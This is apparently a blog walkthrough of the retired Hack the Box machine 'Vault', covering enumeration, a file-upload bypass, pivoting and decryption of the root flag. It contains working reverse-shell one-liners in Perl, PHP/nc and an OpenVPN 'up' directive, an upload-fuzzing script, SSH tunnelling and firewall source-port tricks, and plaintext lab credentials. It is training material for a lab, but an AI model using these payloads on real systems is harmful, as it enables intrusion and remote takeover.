Hack the Box – Vault Walkthrough

Today we’re going to solve another CTF machine “Vault“. It is now retired box and can be accessible if you’re a VIP member.


  • Target OS: Linux
  • IP Address:
  • Difficulty: Medium


  • Getting user
  • Getting root


As always, the first step consists of reconnaissance phase as port scanning.

Ports Scanning

During this step we’re gonna identify the target to see what we have behind the IP Address.

nmap -sS -sU -T4 -A -v

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA) | 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA) |_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (EdDSA) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn’t have a title (text/html; charset=UTF-8).


Let’s browse the URL

As the page mention Sparklays let’s check if there’s a directory under that name.

Now, we know that we have some hidden stuff let’s enumerate directory using dirbuster.


We found admin.php, login.php and another 403 directory /sparklays/design/ let’s dig more into design directory first.


We’re going to use Cewl to generate the wordlists based upon the words you found on the website.

cewl | tr ‘[:upper:]’ ‘[:lower:]’ > words.txt

Now, let’s enumerate for directories using WFuzz.

wfuzz -c -w words.txt --hc 404

Let’s enumerate more into ‘sparklays’ directory using wfuzz.

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -R2 --hc 404 --hl 11


gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50 2>/dev/null

Now we’re talking!

We can start uploading with something which is not an image to see which file extension restrictions it has or we can use simple bash script to automate this process.

File Upload Bypass

The wordlist is derived from /etc/mime.types like so.

awk ‘{ $1 = “”; print $0 }’ /etc/mime.types | sed -r -e ‘s/^ //g’ -e ‘1,26d’ -e ‘/^$/d’ | tr ’ ’ ‘\n’ > extensions.txt


#!/bin/bash EXT=$1 HOST= URL=http://$HOST/sparklays/design/changelogo.php UPLOADS=http://$HOST/sparklays/design/uploads curl -s \ -F “file=@info;filename=info.${EXT}” \ -F “submit=upload+file” \ $URL \ | sed ‘1!d’ \ | cut -d ‘<’ -f1 \ | grep success &>/dev/null && echo “[+] Uploaded: $UPLOADS/info.${EXT}”

time parallel -j40 ./script.sh {} < extensions.txt

[+] Uploaded: [+] Uploaded: [+] Uploaded: [+] Uploaded: [+] Uploaded: [+] Uploaded:

Look’s like we can upload php using php5 extension.

Now, we can easily spawn a reverse shell.

cat code.sh #!/bin/bash HOST= URL=http://$HOST/sparklays/design/changelogo.php UPLOADS=http://$HOST/sparklays/design/uploads curl -s \ -F “file=@shell.php5” \ -F “submit=upload+file” \ $URL \ | grep success &>/dev/null && echo “[+] Uploaded [+]” ./code.sh [+] Uploaded [+]

Let’s get a proper reverse shell now!

perl -e ‘use Socket;$i=“”;$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};’


<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f"); ?>

Reverse Shell Cheat Sheet

Start up the listener.

Awesome we have a shell now, let’s move towards getting a fully interactive tty shell.

Upgrading simple shells to fully interactive TTYs

After doing some enumeration you can find interesting files in /home/dave/Desktop.

$ ls -la /home/dave/Desktop total 20 drwxr-xr-x 2 dave dave 4096 Sep 3 06:51 . drwxr-xr-x 18 dave dave 4096 Sep 3 08:34 … -rw-rw-r-- 1 alex alex 74 Jul 17 2018 Servers -rw-rw-r-- 1 alex alex 14 Jul 17 2018 key -rw-rw-r-- 1 alex alex 20 Jul 17 2018 ssh

Here’s what they include. In Servers we have network information and inside key and ssh we have i believe ssh creds.

www-data@ubuntu:~/dave/Desktop$ cat Servers DNS + Configurator - Firewall - The Vault - x www-data@ubuntu:~/dave/Desktop$ cat key itscominghome www-data@ubuntu:~/dave/Desktop$ cat ssh dave Dav3therav3123

Let’s try ssh dave@ with password: Dav3therav3123

Now we can take a look at network information which we found. lets type ifconfig and check.

Notice that the host has many virtual network interfaces. One of them links to virtual bridge


Let’s scan for open ports to see what we’re up against.

dave@ubuntu:~$ for p in $(seq 1 10000); do (nc -w1 -nvz $p 2>&1 | grep succeed); done Connection to 22 port [tcp/] succeeded! Connection to 80 port [tcp/] succeeded! dave@ubuntu:~$ nc -zv 1-65535 2>&1 | grep succeeded Connection to 22 port [tcp/ssh] succeeded! Connection to 80 port [tcp/http] succeeded!

We can see SSH and HTTP ports are opened in but since, we don’t have curl installed on dave machine. we’re gonna port forward and enumerate on our machine.

SSH Port Forwarding

man ssh: -L [bind_address:]port:host:hostport

ssh -L 8000: dave@

Now, let’s navigate to localhost:8000 to see what we got on port 80.

Dynamic SSH Port Forwarding

man ssh: -f To request ssh to go background. -N Do not execute a remote command. -D Dynamic port forwarding.

ssh -D9999 dave@ -f -N 2>/dev/null

FoxyProxy socks5://


Let’s setup proxychains with dynamic SSH port forwarding to make our enumeration process more easier to use tools.

ssh -fND 1337 dave@

Let’s modify /etc/proxychains.conf & add socks5 1337

Now, let’s scan for opened ports using nmap.

proxychains nmap -sT -Pn

Now, i’m using SSH Port forwarding and using Foxy-proxy addon.

Let’s enumerate more and find hidden directories.

Directory Enumeration


wfuzz -w /opt/SecLists/Discovery/Web-Content/common.txt --hc ‘403,404’ --hw ‘35’ -t 20 http://localhost:8000/FUZZ

We found a directory called notes and it indicates two files which exists in the root of localhost:8000/123.ovpn and script.sh.


curl -i ‘http://localhost:8000/123.ovpn’ && echo HTTP/1.1 200 OK Date: Thu, 18 Apr 2019 12:40:05 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Sun, 02 Sep 2018 14:21:46 GMT ETag: “79-574e4250e6860” Accept-Ranges: bytes Content-Length: 121 remote dev tun nobind script-security 2 up “/bin/bash -c ‘bash -i >& /dev/tcp/ 0>&1’”


curl -i ‘http://localhost:8000/script.sh’ && echo HTTP/1.1 200 OK Date: Thu, 18 Apr 2019 12:40:12 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Tue, 17 Jul 2018 09:50:24 GMT ETag: “23-5712edffeb800” Accept-Ranges: bytes Content-Length: 35 Content-Type: text/x-sh #!/bin/bash sudo openvpn 123.ovpn

The .ovpn file it’s the one we can edit and run in /vpnconfig.php.

Now, setup the listener on dave SSH machine.

We got root shell to DNS. User flag is inside /home/dave/.

There’s a SSH file /home/dave/ssh But we don’t know where this could be used.

Password: dav3gerous567

It look’s like we found the SSH credential for which is root@DNS and we can upgrade our reverse shell to SSH. Let’s exit from reverse shell and login to SSH.

dave@ubuntu:~$ ssh dave@ dave@’s password: dav3gerous567 Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: Ubuntu Pro | Ubuntu 98 packages can be updated. 50 updates are security updates. Last login: Mon Sep 3 16:38:03 2018 dave@DNS:~$

Now, we’re in the dave DNS proper way. Before we had to spawn a reverse shell through VPN configurator.

Since, we’re enumerating network of this machine let’s do some digging.

We discovered DNS has access to through the firewall at Check out the routing table.

root@DNS:/home/dave# route -n route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface UG 0 0 0 ens3 U 0 0 0 ens3

We still haven’t found the vault host yet. but i think it should be inside subnet.

If we check /etc/hosts file we can see the IP of our target machine which is

dave@DNS:~$ cat /etc/hosts localhost DNS Vault # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters

Let’s check logs and grep for string ‘192.168.5.’ inside those files.

find /var/log -type f -exec grep -Hina ‘192.168.5.’ {} ;

/var/log/auth.log:1376:Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap -Pn --source-port=4444 -f /var/log/auth.log:1381:Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 987 -p 53 /var/log/auth.log:1383:Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 987 -p 53

We found something interesting firewall accepting inbound traffic from port 4444 to host which is listening on port 987.

Let’s find out what’s running on port 987.

dave@DNS:~$ ncat -p 4444 987 SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

Let’s find out what’s behind that port 4444 on our vault machine.

dave@DNS:~$ nmap -Pn --source-port=4444 -f Sorry, but fragscan requires root privileges. QUITTING!

It look’s like we need root privilege let’s check sudo -l

dave@DNS:~$ sudo -l [sudo] password for dave: Matching Defaults entries for dave on DNS: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User dave may run the following commands on DNS: (ALL : ALL) ALL

I think we can use sudo with nmap.

dave@DNS:~$ sudo nmap -Pn --source-port=4444 -f Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-18 16:58 BST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Vault ( Host is up (0.0028s latency). Not shown: 999 closed ports PORT STATE SERVICE 987/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 15.45 seconds

Nothing interesting comes up.

To access Vault from Kali, we’ll need to set up another tunnel. Additionally, we’ll need to set up a netcat relay like the ones we found in the logs. Let’s start with the tunnel.

SSH comes with a slew of options, particularly the ProxyCommand option allows ssh to proxy traffic through a network utility tool like ncat.

dave@DNS:~$ ssh -o ‘ProxyCommand ncat -p 4444 %h %p’ -p 987 dave@ -t ‘bash -i’ dave@’s password: dav3gerous567 dave@vault:~$ id uid=1001(dave) gid=1001(dave) groups=1001(dave) dave@vault:~$

We got vault! Let’s change the SHELL environment variables.

dave@vault:~$ echo $SHELL /bin/rbash dave@vault:~$ export SHELL=/bin/bash:$SHELL dave@vault:~$ bash dave@vault:~$ export SHELL=/bin/bash:$SHELL OR dave@DNS:~$ ssh dave@localhost -p 1234 -t “bash --noprofile”

Our root flag is encrypted.

Root File Decryption

dave@vault:~$ ls root.txt.gpg dave@vault:~$ file root.txt.gpg root.txt.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b .

To decrypt the file we need a private key and a password.

We found a private key inside /home/dave/.gnupg/secring.gpg dave@DNS.

dave@DNS:~$ gpg --list-secret-keys /home/dave/.gnupg/secring.gpg ----------------------------- sec 4096R/0FDFBFE4 2018-07-24 uid david dave@david.com ssb 4096R/D1EB1F03 2018-07-24

Let’s convert into base64 encoded string using python3m.

dave@vault:~$ python3m -c “import base64;print(base64.b64encode(open(‘root.txt.gpg’, ‘rb’).read()))” b’hQIMA8d4xhDR6x8DARAAoJjq0xo2bn5JfY3Q6EMVZjkwUK7JPcwUEr1RNUx98k41oOFdtugxUjwHSZ9x9BU9sph696HhlKlPO0au7DeFyxqPFbjR2CdwoT9PBf8vuSEzEqVltvAq31jQbXpUSA2AxYSj3fWKCAkIPcUBTTcJAnac0EMmXlAQzdAmvFEU+9BRkcpJDSpYV8W2IQf+fsnh14hcc5tXZQZX0mPtLlwYVlJq4xgpV3znnJrrlUgKJqkqhq1i2/JEAL5Ul1k5as9Ha1N8KffjmfEsrRQl8TS5NLoC3mVp3w90X0LYhyDcRz7HPzXfdPMdM+G9NEX1zY4c6cr1sxOdLcpUwbZ4itd7XjCA71B23Ncd7eniLGCkErDaVkZh8oa4DyIG78bxqFTDgk6XrH6pz9XRXhDBSZnCezI90WkbxGecOB42cAOwGkuHcnSF44eXDT60Yl9h6bvRZVEQF3/39ee+nMaW5b5PnWzGb/PC4kT3ZDeWYSiloF6a5sOwDO2CL/qipnAFPj8UthhrCCcQj4rRH2zeeh4y9fh3m3G37Q+U9lNgpjzj0nzVCfjdrMRvUs5itxwpjwaxN6q2q1kxe1DhPCzaAHhLT7We7p2hxdSj1yPgefSzJ39GENgJI1fbTDEaMzwkPra4I2MiJCEVgZnV29oRHPYrmGsfx4tSkBy6tJW342/s88fSZAFwRHa6C9Hrr7GSVucoJ5z2kNKAPnS/cUmBc3OdeJlMxdfzQTMucmv89wwgNgKNLO6wmSFppVRnpmLE+AFoCEqg/JS91N5mVhZPkHwW6V94CxMF/3xqTMKpzBfdERq0MGYij98=’

Copy and paste to the ubuntu machine and base64 decode it back.

dave@ubuntu:~/Documents$ echo -n hQIMA8d4xhDR6x8DARAAoJjq0xo2bn5JfY3Q6EMVZjkwUK7JPcwUEr1RNUx98k41oOFdtugxUjwHSZ9x9BU9sph696HhlKlPO0au7DeFyxqPFbjR2CdwoT9PBf8vuSEzEqVltvAq31jQbXpUSA2AxYSj3fWKCAkIPcUBTTcJAnac0EMmXlAQzdAmvFEU+9BRkcpJDSpYV8W2IQf+fsnh14hcc5tXZQZX0mPtLlwYVlJq4xgpV3znnJrrlUgKJqkqhq1i2/JEAL5Ul1k5as9Ha1N8KffjmfEsrRQl8TS5NLoC3mVp3w90X0LYhyDcRz7HPzXfdPMdM+G9NEX1zY4c6cr1sxOdLcpUwbZ4itd7XjCA71B23Ncd7eniLGCkErDaVkZh8oa4DyIG78bxqFTDgk6XrH6pz9XRXhDBSZnCezI90WkbxGecOB42cAOwGkuHcnSF44eXDT60Yl9h6bvRZVEQF3/39ee+nMaW5b5PnWzGb/PC4kT3ZDeWYSiloF6a5sOwDO2CL/qipnAFPj8UthhrCCcQj4rRH2zeeh4y9fh3m3G37Q+U9lNgpjzj0nzVCfjdrMRvUs5itxwpjwaxN6q2q1kxe1DhPCzaAHhLT7We7p2hxdSj1yPgefSzJ39GENgJI1fbTDEaMzwkPra4I2MiJCEVgZnV29oRHPYrmGsfx4tSkBy6tJW342/s88fSZAFwRHa6C9Hrr7GSVucoJ5z2kNKAPnS/cUmBc3OdeJlMxdfzQTMucmv89wwgNgKNLO6wmSFppVRnpmLE+AFoCEqg/JS91N5mVhZPkHwW6V94CxMF/3xqTMKpzBfdERq0MGYij98= | base64 -d > root.txt.gpg dave@ubuntu:~/Documents$ ls root.txt.gpg dave@ubuntu:~/Documents$ gpg --list-secret-keys /home/dave/.gnupg/secring.gpg ----------------------------- sec 4096R/0FDFBFE4 2018-07-24 uid david dave@david.com ssb 4096R/D1EB1F03 2018-07-24 dave@ubuntu:~/Documents$ gpg -d root.txt.gpg You need a passphrase to unlock the secret key for user: “david dave@david.com” 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4) gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 “david dave@david.com” ca468370b91d1f5906e310…